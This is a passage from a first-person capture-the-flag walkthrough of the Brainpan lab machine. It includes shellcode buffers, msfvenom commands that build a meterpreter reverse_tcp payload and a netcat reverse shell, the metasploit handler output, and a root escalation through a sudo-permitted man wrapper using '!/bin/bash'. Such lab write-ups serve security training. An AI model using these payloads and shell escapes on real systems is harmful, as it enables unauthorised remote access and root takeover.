buf += "\xf4\x24\x15\xfe\x83\x5e\x65\x83\x93\xa5\x17\x5f\x11"
buf += "\x3b\xbf\x14\x81\x9f\x41\xf8\x54\x54\x4d\xb5\x13\x32"
buf += "\x52\x48\xf7\x49\x6e\xc1\xf6\x9d\xe6\x91\xdc\x39\xa2"
buf += "\x42\x7c\x18\x0e\x24\x81\x7a\xf6\x99\x27\xf1\x15\xcd"
buf += "\x5e\x58\x70\x10\xd2\xe7\x3d\x12\xec\xe7\x6d\x7b\xdd"
buf += "\x6c\xe2\xfc\xe2\xa7\x46\xf2\xa8\xe5\xef\x9b\x74\x7c"
buf += "\xb2\xc1\x86\xab\xf1\xff\x04\x59\x8a\xfb\x15\x28\x8f"
buf += "\x40\x92\xc1\xfd\xd9\x77\xe5\x52\xd9\x5d\x8b\x3b\x51"
buf += "\x3b\x23\xa5\xfd\xed\xa6\x5d\x9b\xf1"
and packed everything in to the python script:
I've started the app in ollydbg and lunched the script. Looks good:

I've created another script with windows reverse tcp payload:
>_ term
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -b "\x00" -f pyNo platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 314 (iteration=0)
buf =  ""
buf += "\xda\xd3\xd9\x74\x24\xf4\xbf\xf9\x39\xa1\xb0\x5d\x31"
buf += "\xc9\xb1\x48\x31\x7d\x1a\x83\xc5\x04\x03\x7d\x16\xe2"
buf += "\x0c\xc5\x49\x36\xee\x36\x8a\x57\x67\xd3\xbb\x45\x13"
buf += "\x97\xee\x59\x50\xf5\x02\x11\x34\xee\x91\x57\x90\x01"
buf += "\x11\xdd\xc6\x2c\xa2\xd3\xc6\xe3\x60\x75\xba\xf9\xb4"
buf += "\x55\x83\x31\xc9\x94\xc4\x2c\x22\xc4\x9d\x3b\x91\xf9"
buf += "\xaa\x7e\x2a\x71\xe0\x6e\x2a\x66\xb2\x8f\x1b\x39\xc9"
buf += "\xc9\xbb\xbb\x1e\x62\xf2\xa3\x43\x49\x4c\x5f\xb7\x39"
buf += "\x4f\x89\x86\xc2\x61\xf5\x44\xfd\x4d\xf8\x95\x39\x69"
buf += "\xe3\xe0\x31\x89\x9e\xf2\x81\xf3\x44\x77\x14\x53\x0e"
buf += "\x2f\xfc\x65\xc3\xa9\x77\x69\xa8\xbe\xd0\x6e\x2f\x13"
buf += "\x6b\x8a\xa4\x92\xbc\x1a\xfe\xb0\x18\x46\xa4\xd9\x39"
buf += "\x22\x0b\xe6\x5a\x8a\xf4\x42\x10\x39\xe0\xfb\x7b\x56"
buf += "\xc5\xc9\x83\xa6\x41\x5a\xf7\x94\xce\xf0\x9f\x94\x87"
buf += "\xde\x58\xda\xbd\xa6\xf7\x25\x3e\xd6\xde\xe1\x6a\x86"
buf += "\x48\xc3\x12\x4d\x89\xec\xc6\xc1\xd9\x42\xb9\xa1\x89"
buf += "\x22\x69\x49\xc0\xac\x56\x69\xeb\x66\xff\x03\x11\xe1"
buf += "\xc0\x7b\x20\xf0\xa8\x79\x53\xe3\x74\xf4\xb5\x69\x95"
buf += "\x50\x6d\x06\x0c\xf9\xe5\xb7\xd1\xd4\x83\xf8\x5a\xda"
buf += "\x74\xb6\xaa\x97\x66\x2f\x5b\xe2\xd5\xe6\x64\xd9\x70"
buf += "\x07\xf1\xe5\xd2\x50\x6d\xe7\x03\x96\x32\x18\x66\xac"
buf += "\xfb\x8c\xc9\xdb\x03\x40\xca\x1b\x52\x0a\xca\x73\x02"
buf += "\x6e\x99\x66\x4d\xbb\x8d\x3a\xd8\x43\xe4\xef\x4b\x2b"
buf += "\x0a\xc9\xbc\xf4\xf5\x3c\x3d\xc9\x23\x79\xbb\x3b\x46"
buf += "\x69\x07"
started metasploit handler and executed the script:
>_ term
$ python 9999
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                             


>_ term
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > exploit

[*] Started reverse handler on
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to
[*] Meterpreter session 1 opened ( -> at 2014-06-13 12:13:26 +0200

meterpreter > ls

Listing: Z:\home\puck

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   0     dir   2013-03-06 21:23:44 +0100  .
40777/rwxrwxrwx   0     dir   2013-03-04 17:49:37 +0100  ..
100666/rw-rw-rw-  0     fil   2013-03-05 21:27:00 +0100  .bash_history
100666/rw-rw-rw-  220   fil   2013-03-04 17:49:37 +0100  .bash_logout
100666/rw-rw-rw-  3637  fil   2013-03-04 17:49:37 +0100  .bashrc
40777/rwxrwxrwx   0     dir   2013-03-04 19:13:51 +0100  .cache
40777/rwxrwxrwx   0     dir   2013-03-04 19:16:33 +0100  .config
100666/rw-rw-rw-  55    fil   2013-03-05 21:25:15 +0100  .lesshst
40777/rwxrwxrwx   0     dir   2013-03-04 19:16:33 +0100  .local
100666/rw-rw-rw-  675   fil   2013-03-04 17:49:37 +0100  .profile
100666/rw-rw-rw-  513   fil   2013-03-06 21:23:43 +0100
40777/rwxrwxrwx   0     dir   2013-03-04 20:45:00 +0100  web

meterpreter > pwd
meterpreter > cd /
meterpreter > ls

Listing: Z:\

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40777/rwxrwxrwx   0         dir   2013-03-04 19:02:15 +0100  bin
40777/rwxrwxrwx   0         dir   2013-03-04 17:19:23 +0100  boot
40777/rwxrwxrwx   0         dir   2014-06-13 14:09:49 +0200  etc
40777/rwxrwxrwx   0         dir   2013-03-04 17:49:37 +0100  home
100666/rw-rw-rw-  15084717  fil   2013-03-04 17:18:57 +0100  initrd.img
100666/rw-rw-rw-  15084717  fil   2013-03-04 17:18:57 +0100  initrd.img.old
40777/rwxrwxrwx   0         dir   2013-03-04 19:04:41 +0100  lib
40777/rwxrwxrwx   0         dir   2013-03-04 16:12:09 +0100  lost+found
40777/rwxrwxrwx   0         dir   2013-03-04 16:12:14 +0100  media
40777/rwxrwxrwx   0         dir   2012-10-09 16:59:43 +0200  mnt
40777/rwxrwxrwx   0         dir   2013-03-04 16:13:47 +0100  opt
40777/rwxrwxrwx   0         dir   2013-03-08 05:07:15 +0100  root
40777/rwxrwxrwx   0         dir   2014-06-13 14:09:53 +0200  run
40777/rwxrwxrwx   0         dir   2013-03-04 17:20:14 +0100  sbin
40777/rwxrwxrwx   0         dir   2012-06-11 16:43:21 +0200  selinux
40777/rwxrwxrwx   0         dir   2013-03-04 16:13:47 +0100  srv
40777/rwxrwxrwx   0         dir   2014-06-13 14:13:01 +0200  tmp
40777/rwxrwxrwx   0         dir   2013-03-04 16:13:47 +0100  usr
40777/rwxrwxrwx   0         dir   2013-03-08 05:13:25 +0100  var
100666/rw-rw-rw-  5180432   fil   2013-02-25 20:32:04 +0100  vmlinuz
100666/rw-rw-rw-  5180432   fil   2013-02-25 20:32:04 +0100  vmlinuz.old

meterpreter >
I've got the connection and meterpreter session. I've checked few things. I was happily surprised when I discovered that I can access linux folders. Unfortunately I couldn't spawn shell so I decided to netcat reverse shell:
>_ term
$ msfvenom -p linux/x86/exec CMD="mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f" -b "\x00" -f py
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 132 (iteration=0)
buf =  ""
buf += "\xd9\xce\xbd\xde\x40\x6e\xf8\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x1b\x31\x68\x18\x03\x68\x18\x83\xe8\x22\xa2"
buf += "\x9b\x92\xd1\x7b\xfd\x31\x83\x13\xd0\xd6\xc2\x03\x42"
buf += "\x36\xa7\xa3\x93\x20\x68\x56\xfd\xde\xff\x75\xaf\xf6"
buf += "\xb9\x79\x50\x07\x28\x11\x36\x6e\xd4\x8a\x96\x5f\x6c"
buf += "\x38\xa7\xb0\xea\xf9\x24\xae\x86\xdd\x85\x44\x0b\x6e"
buf += "\xf5\xc2\xaf\xa1\x6b\x62\x21\x91\x18\x1c\x9d\xc0\xb7"
buf += "\xfc\xef\x24\x6e\xcc\x73\x37\x0d\x0e\xba\xfe\xe3\x60"
buf += "\x8d\x36\x3c\x53\xd8\x01\x12\x9a\x02\x5a\x5e\xe8\x76"
buf += "\x82\xa0\x3f\x02\xaf\xac\x10\x8c\x2f\x1a\x3c\xd9\xd1"
buf += "\x69\x42"
It worked like a charm:
>_ term
$ nc -l -p 4444 -v
nc: listening on :: 4444 ...
nc: listening on 4444 ...
nc: connect to 4444 from ( 35644 [35644]
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
$ python -c 'import pty;pty.spawn("/bin/bash");'
puck@brainpan:/home/puck$ ls -la
ls -la
total 48
drwx------ 7 puck puck 4096 Mar  6  2013 .
drwxr-xr-x 5 root root 4096 Mar  4  2013 ..
-rw------- 1 puck puck    0 Mar  5  2013 .bash_history
-rw-r--r-- 1 puck puck  220 Mar  4  2013 .bash_logout
-rw-r--r-- 1 puck puck 3637 Mar  4  2013 .bashrc
drwx------ 3 puck puck 4096 Mar  4  2013 .cache
drwxrwxr-x 3 puck puck 4096 Mar  4  2013 .config
-rw------- 1 puck puck   55 Mar  5  2013 .lesshst
drwxrwxr-x 3 puck puck 4096 Mar  4  2013 .local
-rw-r--r-- 1 puck puck  675 Mar  4  2013 .profile
drwxrwxr-x 4 puck puck 4096 Jun 13 07:41 .wine
-rwxr-xr-x 1 root root  513 Mar  6  2013
drwxrwxr-x 3 puck puck 4096 Mar  4  2013 web
puck@brainpan:/home/puck$ cat
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then
    pid=`ps aux | grep brainpan.exe | grep -v grep`
    if [[ ! -z $pid ]]; then
        kill -9 $pid
        killall wineserver
        killall winedevice.exe
    /usr/bin/wine /home/puck/web/bin/brainpan.exe &

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then
    pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
    if [[ ! -z $pid ]]; then
        kill -9 $pid
    cd /home/puck/web
    /usr/bin/python -m SimpleHTTPServer 10000
Nothing interesting in user home folder....
>_ term
puck@brainpan:/home/puck$ cd ..
cd ..
puck@brainpan:/home$ ls
anansi  puck  reynard
puck@brainpan:/home$ ls -la
ls -la
total 20
drwxr-xr-x  5 root    root    4096 Mar  4  2013 .
drwxr-xr-x 22 root    root    4096 Mar  4  2013 ..
drwx------  4 anansi  anansi  4096 Mar  4  2013 anansi
drwx------  7 puck    puck    4096 Mar  6  2013 puck
drwx------  3 reynard reynard 4096 Mar  4  2013 reynard

Two more users in the system....
>_ term
puck@brainpan:/home$ cd /opt
cd /opt
puck@brainpan:/opt$ ls
puck@brainpan:/opt$ ls -la
ls -la
total 8
drwxr-xr-x  2 root root 4096 Mar  4  2013 .
drwxr-xr-x 22 root root 4096 Mar  4  2013 ..
puck@brainpan:/opt$ cd /etc
cd /etc
puck@brainpan:/etc$ cat passwd
cat passwd
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
one of them is probably admin:
>_ term
puck@brainpan:/etc$ cat group
cat group
Looks like there's sudo here :)
>_ term
puck@brainpan:/etc$ ls -la sudoers
ls -la sudoers
-r--r----- 1 root root 843 Mar  4  2013 sudoers
Can my user use it:
>_ term
puck@brainpan:/etc$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
Let's have a look:
>_ term
puck@brainpan:/etc$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
"manual" option uses "man" command. I can read everything now:
>_ term
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual /etc/sudoers
<udo /home/anansi/bin/anansi_util manual /etc/sudoers                       
/usr/bin/man: manual-/etc/sudoers: No such file or directory
/usr/bin/man: manual_/etc/sudoers: No such file or directory
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)
#  #  This file MUST be edited with the \u2019visudo\u2019 command as root.
# # Please consider adding local content in  /etc/sudoers.d/  in\u2010
stead  of  #  directly modifying this file.  # # See the man page
for  details  on  how  to  write   a   sudoers   file.    #   De\u2010
faults        env_reset      Defaults        mail_badpass     De\u2010
faults        secure_path="/usr/local/sbin:/usr/lo\u2010

# Host alias specification

# User alias specification

# Cmnd alias specification

#  User  privilege  specification root    ALL=(ALL:ALL) ALL anan\u2010
si  ALL=NOPASSWD:                    /home/anansi/bin/anansi_util
puck    ALL=NOPASSWD:  /home/anansi/bin/anansi_util  # Members of
the admin group may gain root privileges %admin ALL=(ALL) ALL

# Allow members of  group  sudo  to  execute  any  command  #%su\u2010

# See sudoers(5) for more information on "#include" directives:
 Manual page sudoers line 1 (press h for help or q to quit)q
I've got some hunch that there's more here than meets the eye. I went through google looking for some tricks with "man" and guess what I have found here:
3. Test commands without leaving the man page. Another cool trick is to use ! if you want to try something you just read in the man page. The best part is that you don't have to close the man page or open another terminal. Type ! and next type the command you want to try. Once finished hit Enter to go back to the man page.
Yes, that's mean I can do:
>_ term
puck@brainpan:/etc$ sudo /home/anansi/bin/anansi_util manual vi
sudo /home/anansi/bin/anansi_util manual vi
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)
VIM(1)                                                                  VIM(1)

       vim - Vi IMproved, a programmers text editor

       vim [options] [file ..]
       vim [options] -
       vim [options] -t tag
       vim [options] -q [errorfile]

       gvim gview evim eview
       rvim rview rgvim rgview

       Vim  is a text editor that is upwards compatible to Vi.  It can be used
       to edit all kinds of plain text.  It is especially useful  for  editing

       There  are a lot of enhancements above Vi: multi level undo, multi win\u2010
       dows and buffers, syntax highlighting, command line  editing,  filename
 Manual page vi(1) line 1 (press h for help or q to quit)e
       completion,   on-line   help,   visual  selection,  etc..   See  ":help
       vi_diff.txt" for a summary of the differences between Vim and Vi.
 Manual page vi(1) line 5 (press h for help or q to quit)!/bin/bash
root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/home/puck# whoami

and enjoy my new fresh root :) Just so you know...there's another way to gain root but that's a topic for another story.